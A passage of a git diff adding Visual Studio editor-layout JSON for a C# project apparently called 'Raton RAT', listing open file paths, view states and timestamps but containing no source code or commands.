"2026-03-24T18:13:32.722Z", + "EditorCaption": "" + }, + { + "$type": "Document", + "DocumentIndex": 2, + "Title": "Credits.cs", + "DocumentMoniker": "C:\\Users\\user\\Desktop\\raton\\Raton\\Raton\\Windows\\Credits.cs", + "RelativeDocumentMoniker": "Raton\\Windows\\Credits.cs", + "ToolTip": "C:\\Users\\user\\Desktop\\raton\\Raton\\Raton\\Windows\\Credits.cs", + "RelativeToolTip": "Raton\\Windows\\Credits.cs", + "ViewState": "AgIAACEAAAAAAAAAAAD4v0IAAAAcAAAAAAAAAA==", + "Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000738|", + "WhenOpened": "2026-03-24T18:13:29.117Z", + "EditorCaption": "" + }, + { + "$type": "Bookmark", + "Name": "ST:0:0:{1c64b9c2-e352-428e-a56d-0ace190b99a6}" + }, + { + "$type": "Document", + "DocumentIndex": 14, + "Title": "ClientFolders.cs", + "DocumentMoniker": "C:\\Users\\user\\Desktop\\raton\\Raton\\Raton\\Windows\\ClientFolders.cs", + "RelativeDocumentMoniker": "Raton\\Windows\\ClientFolders.cs", + "ToolTip": "C:\\Users\\user\\Desktop\\raton\\Raton\\Raton\\Windows\\ClientFolders.cs", + "RelativeToolTip": "Raton\\Windows\\ClientFolders.cs", + "ViewState": "AgIAAAAAAAAAAAAAAAAAAB4AAAANAAAAAAAAAA==", + "Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000738|", + "WhenOpened": "2026-03-24T18:13:30.405Z", + "EditorCaption": "" + }, + { + "$type": "Document", + "DocumentIndex": 4, + "Title": "MainWindow.cs", + "DocumentMoniker": "C:\\Users\\user\\Desktop\\raton\\Raton\\WpfApp1\\MainWindow.cs", + "RelativeDocumentMoniker": "WpfApp1\\MainWindow.cs", + "ToolTip": "C:\\Users\\user\\Desktop\\raton\\Raton\\WpfApp1\\MainWindow.cs", + "RelativeToolTip": "WpfApp1\\MainWindow.cs", + "ViewState": "AgIAAOkBAAAAAAAAAAAjwAYCAAAEAAAAAAAAAA==", + "Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000738|", + "WhenOpened": "2026-03-24T17:50:36.45Z", + "EditorCaption": "" + }, + { + "$type": "Document", + "DocumentIndex": 6, + "Title": "plugintutorial.xaml", + "DocumentMoniker": "C:\\Users\\user\\Desktop\\raton\\Raton\\windows\\plugintutorial.xaml", + "RelativeDocumentMoniker": "windows\\plugintutorial.xaml", + "ToolTip": "C:\\Users\\user\\Desktop\\raton\\Raton\\windows\\plugintutorial.xaml", + "RelativeToolTip": "windows\\plugintutorial.xaml", + "Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.003549|", + "WhenOpened": "2026-03-24T17:58:50.375Z", + "EditorCaption": "" + }, + { + "$type": "Document", + "DocumentIndex": 12, + "Title": "plugintutorial.g.cs", + "DocumentMoniker": "C:\\Users\\user\\Desktop\\raton\\Raton\\obj\\Debug\\windows\\plugintutorial.g.cs", + "RelativeDocumentMoniker": "obj\\Debug\\windows\\plugintutorial.g.cs", + "ToolTip": "C:\\Users\\user\\Desktop\\raton\\Raton\\obj\\Debug\\windows\\plugintutorial.g.cs", + "RelativeToolTip": "obj\\Debug\\windows\\plugintutorial.g.cs", + "ViewState": "AgIAAGEAAAAAAAAAAAAcwIEAAAAVAAAAAAAAAA==", + "Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000738|", + "WhenOpened": "2026-03-24T18:14:20.678Z", + "EditorCaption": "" + }, + { + "$type": "Document", + "DocumentIndex": 16, + "Title": "about.xaml", + "DocumentMoniker": "C:\\Users\\user\\Desktop\\raton\\Raton\\windows\\about.xaml", + "RelativeDocumentMoniker": "windows\\about.xaml", + "ToolTip": "C:\\Users\\user\\Desktop\\raton\\Raton\\windows\\about.xaml", + "RelativeToolTip": "windows\\about.xaml", + "Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.003549|", + "WhenOpened": "2026-03-24T17:59:24.563Z", + "EditorCaption": "" + }, + { + "$type": "Document", + "DocumentIndex": 15, + "Title": "port.xaml", + "DocumentMoniker": "C:\\Users\\user\\Desktop\\raton\\Raton\\windows\\port.xaml", + "RelativeDocumentMoniker": "windows\\port.xaml", + "ToolTip": "C:\\Users\\user\\Desktop\\raton\\Raton\\windows\\port.xaml", + "RelativeToolTip": "windows\\port.xaml", + "Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.003549|", + "WhenOpened": "2026-03-24T17:58:56.381Z", + "EditorCaption": "" + }, + { + "$type": "Document", + "DocumentIndex": 19, + "Title": "preview.xaml", + "DocumentMoniker": "C:\\Users\\user\\Desktop\\raton\\Raton\\windows\\preview.xaml", + "RelativeDocumentMoniker": "windows\\preview.xaml", + "ToolTip": "C:\\Users\\user\\Desktop\\raton\\Raton\\windows\\preview.xaml", + "RelativeToolTip": "windows\\preview.xaml", + "Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.003549|", + "WhenOpened": "2026-03-24T17:56:17.962Z", + "EditorCaption": "" + }, + { + "$type": "Document", + "DocumentIndex": 21, + "Title": "Port.cs", + "DocumentMoniker": "C:\\Users\\user\\Desktop\\raton\\Raton\\WpfApp1\\Windows\\Port.cs", + "RelativeDocumentMoniker": "WpfApp1\\Windows\\Port.cs", + "ToolTip": "C:\\Users\\user\\Desktop\\raton\\Raton\\WpfApp1\\Windows\\Port.cs", + "RelativeToolTip": "WpfApp1\\Windows\\Port.cs", + "ViewState": "AgIAAEsAAAAAAAAAAAAcwEsAAAAAAAAAAAAAAA==", + "Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000738|", + "WhenOpened": "2026-03-24T17:47:54.61Z", + "EditorCaption": "" + }, + { + "$type": "Document", + "DocumentIndex": 10, + "Title": "Settings.cs", + "DocumentMoniker": "C:\\Users\\user\\Desktop\\raton\\Raton\\Raton\\Windows\\Settings.cs", + "RelativeDocumentMoniker": "Raton\\Windows\\Settings.cs", + "ToolTip": "C:\\Users\\user\\Desktop\\raton\\Raton\\Raton\\Windows\\Settings.cs", + "RelativeToolTip": "Raton\\Windows\\Settings.cs", + "ViewState": "AgIAAAAAAAAAAAAAAAAAABkAAAAbAAAAAAAAAA==", + "Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000738|", + "WhenOpened": "2026-03-24T17:47:49.308Z", + "EditorCaption": "" + }, + { + "$type": "Document", + "DocumentIndex": 22, + "Title": "ratonCMD.cs", + "DocumentMoniker": "C:\\Users\\user\\Desktop\\raton\\Raton\\Raton\\Forms\\ratonCMD.cs", + "RelativeDocumentMoniker": "Raton\\Forms\\ratonCMD.cs", + "ToolTip": "C:\\Users\\user\\Desktop\\raton\\Raton\\Raton\\Forms\\ratonCMD.cs", + "RelativeToolTip": "Raton\\Forms\\ratonCMD.cs", + "ViewState": "AgIAAGwAAAAAAAAAAAAcwIwAAAALAAAAAAAAAA==", + "Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000738|", + "WhenOpened": "2026-03-24T17:46:50.752Z", + "EditorCaption": "" + }, + { + "$type": "Document", + "DocumentIndex": 23, + "Title": "AGObfuscator.cs", + "DocumentMoniker": "C:\\Users\\user\\Desktop\\raton\\Raton\\AGObfuscator.cs", + "RelativeDocumentMoniker": "AGObfuscator.cs", + "ToolTip": "C:\\Users\\user\\Desktop\\raton\\Raton\\AGObfuscator.cs", + "RelativeToolTip": "AGObfuscator.cs", + "ViewState": "AgIAAA4AAAAAAAAAAAAQwE8AAAAvAAAAAAAAAA==", + "Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000738|", + "WhenOpened": "2026-03-24T17:43:46.558Z", + "EditorCaption": "" + } + ] + } + ] + } + ] +} \ No newline at end of file diff --git a/Raton RAT/.vs/Raton/v18/DocumentLayout.json b/Raton RAT/.vs/Raton/v18/DocumentLayout.json new file mode 100644 index 0000000..c516baa --- /dev/null +++ b/Raton RAT/.vs/Raton/v18/DocumentLayout.json @@ -0,0 +1,457 @@ +{ + "Version": 1, + "WorkspaceRootPath": "C:\\Users\\user\\Desktop\\raton\\Raton\\", + "Documents": [ + { + "AbsoluteMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|c:\\users\\user\\desktop\\raton\\raton\\raton\\properties\\resources.resx||{FA3CD31E-987B-443A-9B81-186104E8DAC1}|", + "RelativeMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|solutionrelative:raton\\properties\\resources.resx||{FA3CD31E-987B-443A-9B81-186104E8DAC1}|" + }, + { + "AbsoluteMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|c:\\users\\user\\desktop\\raton\\raton\\ratonback\\backendclient.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}", + "RelativeMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|solutionrelative:ratonback\\backendclient.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}" + }, + { + "AbsoluteMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|C:\\Users\\user\\Desktop\\raton\\Raton\\raton\\windows\\credits.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}", + "RelativeMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|solutionrelative:raton\\windows\\credits.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}" + }, + { + "AbsoluteMoniker": "D:0:0:{A2FE74E1-B743-11D0-AE1A-00A0C90FFFC3}|\u003CMiscFiles\u003E|C:\\Users\\user\\AppData\\Local\\Temp\\.vsdbgsrc\\9a9604281ed2971b436501ca1b9a377880c2d200c6ff3d4bbcc964ddfaee5e8c\\Visual.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}" + }, + { + "AbsoluteMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|C:\\Users\\user\\Desktop\\raton\\Raton\\wpfapp1\\mainwindow.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}", + "RelativeMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|solutionrelative:wpfapp1\\mainwindow.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}" + }, + { + "AbsoluteMoniker": "D:0:0:{A2FE74E1-B743-11D0-AE1A-00A0C90FFFC3}|\u003CMiscFiles\u003E|C:\\Users\\user\\AppData\\Local\\Temp\\.vsdbgsrc\\361f82b6b9a328e1602d17ccc30c3c9a6486f38708e103ffe2d5612ce5556794\\WpfXamlLoader.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}" + }, + { + "AbsoluteMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|C:\\Users\\user\\Desktop\\raton\\Raton\\windows\\plugintutorial.xaml||{F11ACC28-31D1-4C80-A34B-F4E09D3D753C}", + "RelativeMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|solutionrelative:windows\\plugintutorial.xaml||{F11ACC28-31D1-4C80-A34B-F4E09D3D753C}" + }, + { + "AbsoluteMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|c:\\users\\user\\desktop\\raton\\raton\\raton\\windows\\games.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}", + "RelativeMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|solutionrelative:raton\\windows\\games.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}" + }, + { + "AbsoluteMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|C:\\Users\\user\\Desktop\\raton\\Raton\\clientstorage.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}", + "RelativeMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|solutionrelative:clientstorage.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}" + }, + { + "AbsoluteMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|C:\\Users\\user\\Desktop\\raton\\Raton\\raton\\windows\\tasks.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}", + "RelativeMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|solutionrelative:raton\\windows\\tasks.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}" + }, + { + "AbsoluteMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|C:\\Users\\user\\Desktop\\raton\\Raton\\raton\\windows\\settings.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}", + "RelativeMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|solutionrelative:raton\\windows\\settings.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}" + }, + { + "AbsoluteMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|C:\\Users\\user\\Desktop\\raton\\Raton\\assemblyinfo.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}", + "RelativeMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|solutionrelative:assemblyinfo.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}" + }, + { + "AbsoluteMoniker": "D:0:0:{A2FE74E1-B743-11D0-AE1A-00A0C90FFFC3}|\u003CMiscFiles\u003E|C:\\Users\\user\\Desktop\\raton\\Raton\\obj\\Debug\\windows\\plugintutorial.g.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}", + "RelativeMoniker": "D:0:0:{A2FE74E1-B743-11D0-AE1A-00A0C90FFFC3}|\u003CMiscFiles\u003E|solutionrelative:obj\\Debug\\windows\\plugintutorial.g.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}" + }, + { + "AbsoluteMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|C:\\Users\\user\\Desktop\\raton\\Raton\\windows\\clientfolders.xaml||{F11ACC28-31D1-4C80-A34B-F4E09D3D753C}", + "RelativeMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|solutionrelative:windows\\clientfolders.xaml||{F11ACC28-31D1-4C80-A34B-F4E09D3D753C}" + }, + { + "AbsoluteMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|C:\\Users\\user\\Desktop\\raton\\Raton\\raton\\windows\\clientfolders.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}", + "RelativeMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|solutionrelative:raton\\windows\\clientfolders.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}" + }, + { + "AbsoluteMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|C:\\Users\\user\\Desktop\\raton\\Raton\\windows\\port.xaml||{F11ACC28-31D1-4C80-A34B-F4E09D3D753C}", + "RelativeMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|solutionrelative:windows\\port.xaml||{F11ACC28-31D1-4C80-A34B-F4E09D3D753C}" + }, + { + "AbsoluteMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|C:\\Users\\user\\Desktop\\raton\\Raton\\windows\\about.xaml||{F11ACC28-31D1-4C80-A34B-F4E09D3D753C}", + "RelativeMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|solutionrelative:windows\\about.xaml||{F11ACC28-31D1-4C80-A34B-F4E09D3D753C}" + }, + { + "AbsoluteMoniker": "D:0:0:{A2FE74E1-B743-11D0-AE1A-00A0C90FFFC3}|\u003CMiscFiles\u003E|C:\\Users\\user\\Desktop\\raton\\Raton\\obj\\Release\\windows\\plugintutorial.g.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}", + "RelativeMoniker": "D:0:0:{A2FE74E1-B743-11D0-AE1A-00A0C90FFFC3}|\u003CMiscFiles\u003E|solutionrelative:obj\\Release\\windows\\plugintutorial.g.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}" + }, + { + "AbsoluteMoniker": "D:0:0:{A2FE74E1-B743-11D0-AE1A-00A0C90FFFC3}|\u003CMiscFiles\u003E|C:\\Users\\user\\Desktop\\raton\\Raton\\obj\\Release\\windows\\games.g.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}", + "RelativeMoniker": "D:0:0:{A2FE74E1-B743-11D0-AE1A-00A0C90FFFC3}|\u003CMiscFiles\u003E|solutionrelative:obj\\Release\\windows\\games.g.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}" + }, + { + "AbsoluteMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|C:\\Users\\user\\Desktop\\raton\\Raton\\windows\\preview.xaml||{F11ACC28-31D1-4C80-A34B-F4E09D3D753C}", + "RelativeMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|solutionrelative:windows\\preview.xaml||{F11ACC28-31D1-4C80-A34B-F4E09D3D753C}" + }, + { + "AbsoluteMoniker": "D:0:0:{A2FE74E1-B743-11D0-AE1A-00A0C90FFFC3}|\u003CMiscFiles\u003E|C:\\Users\\user\\Desktop\\raton\\Raton\\obj\\Release\\windows\\tools.g.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}", + "RelativeMoniker": "D:0:0:{A2FE74E1-B743-11D0-AE1A-00A0C90FFFC3}|\u003CMiscFiles\u003E|solutionrelative:obj\\Release\\windows\\tools.g.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}" + }, + { + "AbsoluteMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|C:\\Users\\user\\Desktop\\raton\\Raton\\wpfapp1\\windows\\port.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}", + "RelativeMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|solutionrelative:wpfapp1\\windows\\port.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}" + }, + { + "AbsoluteMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|C:\\Users\\user\\Desktop\\raton\\Raton\\raton\\forms\\ratoncmd.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}", + "RelativeMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|solutionrelative:raton\\forms\\ratoncmd.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}" + }, + { + "AbsoluteMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|C:\\Users\\user\\Desktop\\raton\\Raton\\agobfuscator.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}", + "RelativeMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|solutionrelative:agobfuscator.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}" + } + ], + "DocumentGroupContainers": [ + { + "Orientation": 0, + "VerticalTabListWidth": 256, + "DocumentGroups": [ + { + "DockedWidth": 200, + "SelectedChildIndex": 8, + "Children": [ + { + "$type": "Bookmark", + "Name": "ST:0:0:{b1e99781-ab81-11d0-b683-00aa00a3ee26}" + }, + { + "$type": "Bookmark", + "Name": "ST:0:0:{e5c86464-96be-4d7c-9a8b-abcb3bbf5f92}" + }, + { + "$type": "Bookmark", + "Name": "ST:0:0:{eefa5220-e298-11d0-8f78-00a0c9110057}" + }, + { + "$type": "Bookmark", + "Name": "ST:0:0:{aa2115a1-9712-457b-9047-dbb71ca2cdd2}" + }, + { + "$type": "Bookmark", + "Name": "ST:0:0:{40ea2e6b-2121-4bb8-a43e-c83c04b51041}" + }, + { + "$type": "Bookmark", + "Name": "ST:0:0:{3ae79031-e1bc-11d0-8f78-00a0c9110057}" + }, + { + "$type": "Bookmark", + "Name": "ST:1:0:{d212f56b-c48a-434c-a121-1c5d80b59b9f}" + }, + { + "$type": "Bookmark", + "Name": "ST:0:0:{34e76e81-ee4a-11d0-ae2e-00a0c90fffc3}" + }, + { + "$type": "Document", + "DocumentIndex": 0, + "Title": "Resources.resx", + "DocumentMoniker": "C:\\Users\\user\\Desktop\\raton\\Raton\\Raton\\Properties\\Resources.resx", + "RelativeDocumentMoniker": "Raton\\Properties\\Resources.resx", + "ToolTip": "C:\\Users\\user\\Desktop\\raton\\Raton\\Raton\\Properties\\Resources.resx", + "RelativeToolTip": "Raton\\Properties\\Resources.resx", + "ViewState": "AgIAAOIAAAAAAAAAAAAEwAIBAABY7iEAAAAAAA==", + "Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.001005|", + "WhenOpened": "2026-03-24T18:31:36.471Z", + "EditorCaption": "" + }, + { + "$type": "Document", + "DocumentIndex": 1, + "Title": "BackendClient.cs", + "DocumentMoniker": "C:\\Users\\user\\Desktop\\raton\\Raton\\RatonBack\\BackendClient.cs", + "RelativeDocumentMoniker": "RatonBack\\BackendClient.cs", + "ToolTip": "C:\\Users\\user\\Desktop\\raton\\Raton\\RatonBack\\BackendClient.cs", + "RelativeToolTip": "RatonBack\\BackendClient.cs", + "ViewState": "AgIAAEYAAAAAAAAAAADwv1wAAAAoAAAAAAAAAA==", + "Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000738|", + "WhenOpened": "2026-03-24T18:31:01.437Z", + "EditorCaption": "" + }, + { + "$type": "Document", + "DocumentIndex": 3, + "Title": "Visual.cs", + "DocumentMoniker": "C:\\Users\\user\\AppData\\Local\\Temp\\.vsdbgsrc\\9a9604281ed2971b436501ca1b9a377880c2d200c6ff3d4bbcc964ddfaee5e8c\\Visual.cs", + "RelativeDocumentMoniker": "..\\..\\..\\AppData\\Local\\Temp\\.vsdbgsrc\\9a9604281ed2971b436501ca1b9a377880c2d200c6ff3d4bbcc964ddfaee5e8c\\Visual.cs", + "ToolTip": "C:\\Users\\user\\AppData\\Local\\Temp\\.vsdbgsrc\\9a9604281ed2971b436501ca1b9a377880c2d200c6ff3d4bbcc964ddfaee5e8c\\Visual.cs [\u0422\u043E\u043B\u044C\u043A\u043E \u0447\u0442\u0435\u043D\u0438\u0435]", + "RelativeToolTip": "..\\..\\..\\AppData\\Local\\Temp\\.vsdbgsrc\\9a9604281ed2971b436501ca1b9a377880c2d200c6ff3d4bbcc964ddfaee5e8c\\Visual.cs [\u0422\u043E\u043B\u044C\u043A\u043E \u0447\u0442\u0435\u043D\u0438\u0435]", + "ViewState": "AgIAAEsJAAAAAAAAAADgv3IJAAAEAAAAAQAAAA==", + "Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000738|", + "WhenOpened": "2026-03-24T18:29:01.289Z", + "EditorCaption": " [\u0422\u043E\u043B\u044C\u043A\u043E \u0447\u0442\u0435\u043D\u0438\u0435]" + }, + { + "$type": "Document", + "DocumentIndex": 5, + "Title": "WpfXamlLoader.cs", + "DocumentMoniker": "C:\\Users\\user\\AppData\\Local\\Temp\\.vsdbgsrc\\361f82b6b9a328e1602d17ccc30c3c9a6486f38708e103ffe2d5612ce5556794\\WpfXamlLoader.cs", + "RelativeDocumentMoniker": "..\\..\\..\\AppData\\Local\\Temp\\.vsdbgsrc\\361f82b6b9a328e1602d17ccc30c3c9a6486f38708e103ffe2d5612ce5556794\\WpfXamlLoader.cs", + "ToolTip": "C:\\Users\\user\\AppData\\Local\\Temp\\.vsdbgsrc\\361f82b6b9a328e1602d17ccc30c3c9a6486f38708e103ffe2d5612ce5556794\\WpfXamlLoader.cs [\u0422\u043E\u043B\u044C\u043A\u043E \u0447\u0442\u0435\u043D\u0438\u0435]", + "RelativeToolTip": "..\\..\\..\\AppData\\Local\\Temp\\.vsdbgsrc\\361f82b6b9a328e1602d17ccc30c3c9a6486f38708e103ffe2d5612ce5556794\\WpfXamlLoader.cs [\u0422\u043E\u043B\u044C\u043A\u043E \u0447\u0442\u0435\u043D\u0438\u0435]", + "ViewState": "AgIAAFwAAAAAAAAAAADgv3cAAAADAAAAAQAAAA==", + "Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000738|", + "WhenOpened": "2026-03-24T18:23:34.806Z", + "EditorCaption": " [\u0422\u043E\u043B\u044C\u043A\u043E \u0447\u0442\u0435\u043D\u0438\u0435]" + }, + { + "$type": "Document", + "DocumentIndex": 7, + "Title": "Games.cs", + "DocumentMoniker": "C:\\Users\\user\\Desktop\\raton\\Raton\\Raton\\Windows\\Games.cs", + "RelativeDocumentMoniker": "Raton\\Windows\\Games.cs", + "ToolTip": "C:\\Users\\user\\Desktop\\raton\\Raton\\Raton\\Windows\\Games.cs", + "RelativeToolTip": "Raton\\Windows\\Games.cs", + "ViewState": "AgIAAO8AAAAAAAAAAAAIwBMBAAADAAAAAAAAAA==", + "Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000738|", + "WhenOpened": "2026-03-24T18:20:59.309Z", + "EditorCaption": "" + }, + { + "$type": "Document", + "DocumentIndex": 18, + "Title": "games.g.cs", + "DocumentMoniker": "C:\\Users\\user\\Desktop\\raton\\Raton\\obj\\Release\\windows\\games.g.cs", + "RelativeDocumentMoniker": "obj\\Release\\windows\\games.g.cs", + "ToolTip": "C:\\Users\\user\\Desktop\\raton\\Raton\\obj\\Release\\windows\\games.g.cs", + "RelativeToolTip": "obj\\Release\\windows\\games.g.cs", + "ViewState": "AgIAAOEAAAAAAAAAAAAcwAEBAAAVAAAAAAAAAA==", + "Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000738|", + "WhenOpened": "2026-03-24T17:58:44.506Z", + "EditorCaption": "" + }, + { + "$type": "Document", + "DocumentIndex": 20, + "Title": "tools.g.cs", + "DocumentMoniker": "C:\\Users\\user\\Desktop\\raton\\Raton\\obj\\Release\\windows\\tools.g.cs", + "RelativeDocumentMoniker": "obj\\Release\\windows\\tools.g.cs", + "ToolTip": "C:\\Users\\user\\Desktop\\raton\\Raton\\obj\\Release\\windows\\tools.g.cs", + "RelativeToolTip": "obj\\Release\\windows\\tools.g.cs", + "ViewState": "AgIAAGQAAAAAAAAAAAAcwFoAAAAVAAAAAAAAAA==", + "Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000738|", + "WhenOpened": "2026-03-24T17:53:36.217Z", + "EditorCaption": "" + }, + { + "$type": "Document", + "DocumentIndex": 17, + "Title": "plugintutorial.g.cs", + "DocumentMoniker": "C:\\Users\\user\\Desktop\\raton\\Raton\\obj\\Release\\windows\\plugintutorial.g.cs", + "RelativeDocumentMoniker": "obj\\Release\\windows\\plugintutorial.g.cs", + "ToolTip": "C:\\Users\\user\\Desktop\\raton\\Raton\\obj\\Release\\windows\\plugintutorial.g.cs", + "RelativeToolTip": "obj\\Release\\windows\\plugintutorial.g.cs", + "ViewState": "AgIAAGEAAAAAAAAAAAAcwIEAAAAVAAAAAAAAAA==", + "Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000738|", + "WhenOpened": "2026-03-24T17:58:49.39Z", + "EditorCaption": "" + }, + { + "$type": "Document", + "DocumentIndex": 9, + "Title": "Tasks.cs", + "DocumentMoniker": "C:\\Users\\user\\Desktop\\raton\\Raton\\Raton\\Windows\\Tasks.cs", + "RelativeDocumentMoniker": "Raton\\Windows\\Tasks.cs", + "ToolTip": "C:\\Users\\user\\Desktop\\raton\\Raton\\Raton\\Windows\\Tasks.cs", + "RelativeToolTip": "Raton\\Windows\\Tasks.cs", + "ViewState": "AgIAAHkAAAAAAAAAAAAcwJkAAABNAAAAAAAAAA==", + "Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000738|", + "WhenOpened": "2026-03-24T18:20:46.477Z", + "EditorCaption": "" + }, + { + "$type": "Document", + "DocumentIndex": 8, + "Title": "ClientStorage.cs", + "DocumentMoniker": "C:\\Users\\user\\Desktop\\raton\\Raton\\ClientStorage.cs", + "RelativeDocumentMoniker": "ClientStorage.cs", + "ToolTip": "C:\\Users\\user\\Desktop\\raton\\Raton\\ClientStorage.cs", + "RelativeToolTip": "ClientStorage.cs", + "ViewState": "AgIAAAAAAAAAAAAAAAAAABkAAAAeAAAAAAAAAA==", + "Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000738|", + "WhenOpened": "2026-03-24T18:20:10.624Z", + "EditorCaption": "" + }, + { + "$type": "Document", + "DocumentIndex": 11, + "Title": "AssemblyInfo.cs", + "DocumentMoniker": "C:\\Users\\user\\Desktop\\raton\\Raton\\AssemblyInfo.cs", + "RelativeDocumentMoniker": "AssemblyInfo.cs", + "ToolTip": "C:\\Users\\user\\Desktop\\raton\\Raton\\AssemblyInfo.cs", + "RelativeToolTip": "AssemblyInfo.cs", + "ViewState": "AgIAAAAAAAAAAAAAAAAAABEAAAALAAAAAAAAAA==", + "Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000738|", + "WhenOpened": "2026-03-24T18:17:42.311Z", + "EditorCaption": "" + }, + { + "$type": "Document", + "DocumentIndex": 13, + "Title": "clientfolders.xaml", + "DocumentMoniker": "C:\\Users\\user\\Desktop\\raton\\Raton\\windows\\clientfolders.xaml", + "RelativeDocumentMoniker": "windows\\clientfolders.xaml", + "ToolTip": "C:\\Users\\user\\Desktop\\raton\\Raton\\windows\\clientfolders.xaml", + "RelativeToolTip": 